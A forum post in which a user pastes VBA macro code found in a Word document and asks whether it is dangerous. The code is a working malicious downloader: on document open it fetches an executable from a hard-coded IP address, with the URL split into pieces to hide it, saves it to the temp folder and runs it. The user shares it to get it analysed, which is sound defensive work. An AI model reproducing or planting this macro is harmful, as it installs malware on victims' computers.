broncosrul
New Member
- Joined
- May 3, 2012
- Messages
- 25
Okay, technically the VBA was in a Word document, but the smartest VBA people are on this board. Hopefully, it is all transferable. Here are the details.
Word Doc with instructions to take it out of read only mode and enable content. Nothing else. Then I panicked about the VBA I had just unlocked and this is what I found. However, I don't know enough about VBA to read it.
Should I be worried? Thanks in advance for any help you can provide.
Word Doc with instructions to take it out of read only mode and enable content. Nothing else. Then I panicked about the VBA I had just unlocked and this is what I found. However, I don't know enough about VBA to read it.
Code:
#If Win64 Then
Private Declare PtrSafe Function XSS Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hWnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
#Else
Private Declare Function XSS Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hWnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long
#End If
Sub Document_Open()
Dim a As String
Dim b As String
Dim c As Long
Dim d As Long
d = 0
a = Environ("tmp")
b = "xe"
a = a & "\lf.e" & b
b = "http" & "://148" & ".251.248" & ".4/images/si" & "gchk.e" & "xe"
Dim oXMLHTTP As MSXML2.XMLHTTP30, vFF As Long, oResp() As Byte
Set oXMLHTTP = New MSXML2.XMLHTTP30
oXMLHTTP.Open "GET", b, False
oXMLHTTP.send
If oXMLHTTP.Status = 200 Then
vFF = FreeFile
oResp = xss2(oXMLHTTP)
Open a For Binary As #vFF
Put #vFF, , oResp
Close #vFF
End If
XSS 0, "o" & "pen", a, "", vbNullString, vbNormalFocus
End Sub
Function xss2(ByRef a As MSXML2.XMLHTTP30) As Byte()
Dim oResp() As Byte
oResp = a.responseBody
xss2 = oResp
End Function
Should I be worried? Thanks in advance for any help you can provide.